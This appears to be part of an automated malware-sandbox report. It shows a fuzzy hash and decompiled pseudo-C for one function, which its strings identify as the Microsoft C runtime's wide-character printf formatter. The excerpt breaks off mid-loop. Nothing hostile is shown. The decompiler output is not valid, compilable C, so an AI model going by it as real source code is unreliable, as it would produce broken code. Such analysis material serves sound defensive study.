Instruction Fuzzy Hash: 27A18D70D016289FDB64CF54CC49BEEB7B1AB88305F2481DAD5096B281E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BDA4, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BDA4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E00428360(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043C970(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043C9B0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043C970(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043C9B0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041ACE0(_t596 - 0x40);
									_t524 = E0043B410(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043C910( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043C970(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C3D0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043C804))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043C910( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43c83c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C824))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43c864; // 0xc0719003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C850))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43c8d0; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C894))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B750( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACE0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xf2632e26
															E00424550(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xf2d1ae26
																	E00424550(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xf2c8ae26
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428360(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041ACE0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041ACE0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B410(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E00428360(__ebp + 0x14);
													__eax = E00433F00();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E210();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
														__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041ACB0(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428360(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L100:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L101:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L102:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L103:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L104;
													} else {
														L87:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L91:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L92:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L93:
															__ecx = __ebp - 0x40;
															E0041ACE0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00431210( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L96:
														L104:
														while(1) {
															L187:
